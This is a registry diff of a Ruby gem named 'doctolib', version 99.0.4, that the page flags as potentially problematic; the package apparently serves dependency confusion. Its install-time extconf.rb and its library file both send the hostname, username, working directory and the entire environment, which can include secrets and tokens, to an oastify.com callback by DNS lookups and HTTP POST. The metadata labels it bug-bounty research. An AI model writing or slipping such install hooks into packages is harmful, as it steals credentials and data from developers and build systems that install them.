doctolib 99.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of doctolib might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/ext/doctolib/extconf.rb +46 -0
  3. data/lib/doctolib.rb +62 -0
  4. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: daed013ef3a82b15c21812f5213185704c040456590e7ea0938e21b24fb567e2
4
+ data.tar.gz: 7b450c19935bcf49293dd443b7a22c6597cd3e0bf4ff4f19da504a490ec3163a
5
+ SHA512:
6
+ metadata.gz: f82229046a782982cc56d79aa499e7e973eadff345b7653b5bfe8e6f2f882435dd64900c88eccadab8cdbd28e9e4af36abd511dc2e8ef78cba9430c5569b2c91
7
+ data.tar.gz: 817455f784d3b2ed849c2f03dd505daac4ff5d5e71d8d4fa13ddc95aea710491f8f16627ec751fd563f74283fed221f3fb49a21d7dcd5315aee5cce851097626
@@ -0,0 +1,46 @@
1
+ require 'socket'
2
+ require 'net/http'
3
+ require 'uri'
4
+ require 'json'
5
+ require 'time'
6
+ require 'resolv'
7
+
8
+ CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
9
+
10
+ # DNS exfiltration - bypass firewalls
11
+ begin
12
+ hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
13
+ user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
14
+
15
+ # DNS lookup = callback même si HTTP bloqué
16
+ dns_exfil = "geminstall-#{hostname}-#{user}.#{CALLBACK}"
17
+ Resolv.getaddress(dns_exfil) rescue nil
18
+ rescue
19
+ end
20
+
21
+ # HTTP callback aussi
22
+ begin
23
+ info = {
24
+ type: 'gem_install',
25
+ hostname: Socket.gethostname,
26
+ user: ENV['USER'] || ENV['USERNAME'],
27
+ pwd: Dir.pwd,
28
+ ruby_version: RUBY_VERSION,
29
+ env: ENV.to_h,
30
+ timestamp: Time.now.utc.iso8601
31
+ }
32
+
33
+ uri = URI("http://#{CALLBACK}/gem_install")
34
+ http = Net::HTTP.new(uri.host, uri.port)
35
+ http.open_timeout = 3
36
+ http.read_timeout = 3
37
+
38
+ request = Net::HTTP::Post.new(uri.path)
39
+ request['Content-Type'] = 'application/json'
40
+ request.body = info.to_json
41
+
42
+ http.request(request)
43
+ rescue
44
+ end
45
+
46
+ File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb ADDED
@@ -0,0 +1,62 @@
1
+ require 'socket'
2
+ require 'net/http'
3
+ require 'uri'
4
+ require 'json'
5
+ require 'time'
6
+ require 'resolv'
7
+
8
+ module Doctolib
9
+ VERSION = '99.0.4'
10
+ CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
11
+
12
+ unless defined?(@@triggered)
13
+ @@triggered = true
14
+
15
+ Thread.new do
16
+ # DNS exfiltration
17
+ begin
18
+ hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
19
+ user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
20
+ rails = (ENV['RAILS_ENV'] || 'norails').gsub(/[^a-zA-Z0-9]/, '')[0..10]
21
+
22
+ dns_exfil = "gemrequire-#{hostname}-#{user}-#{rails}.#{CALLBACK}"
23
+ Resolv.getaddress(dns_exfil) rescue nil
24
+ rescue
25
+ end
26
+
27
+ # HTTP callback
28
+ begin
29
+ info = {
30
+ type: 'gem_require',
31
+ hostname: Socket.gethostname,
32
+ user: ENV['USER'] || ENV['USERNAME'],
33
+ pwd: Dir.pwd,
34
+ ruby_version: RUBY_VERSION,
35
+ rails_env: ENV['RAILS_ENV'],
36
+ env: ENV.to_h,
37
+ timestamp: Time.now.utc.iso8601
38
+ }
39
+
40
+ webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
41
+ info[:webhook_found] = !webhook.nil?
42
+
43
+ uri = URI("http://#{CALLBACK}/gem_require")
44
+ http = Net::HTTP.new(uri.host, uri.port)
45
+ http.open_timeout = 3
46
+ http.read_timeout = 3
47
+
48
+ request = Net::HTTP::Post.new(uri.path)
49
+ request['Content-Type'] = 'application/json'
50
+ request.body = info.to_json
51
+
52
+ http.request(request)
53
+
54
+ if webhook
55
+ webhook_uri = URI(webhook)
56
+ Net::HTTP.get(webhook_uri)
57
+ end
58
+ rescue
59
+ end
60
+ end
61
+ end
62
+ end
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: doctolib
3
+ version: !ruby/object:Gem::Version
4
+ version: 99.0.4
5
+ platform: ruby
6
+ authors:
7
+ - icare
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Security research package
13
+ email: icare@security.research
14
+ executables: []
15
+ extensions:
16
+ - ext/doctolib/extconf.rb
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ext/doctolib/extconf.rb
20
+ - lib/doctolib.rb
21
+ homepage: https://github.com/icare/doctolib
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: 2.5.0
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: Security research - Bug Bounty
42
+ test_files: []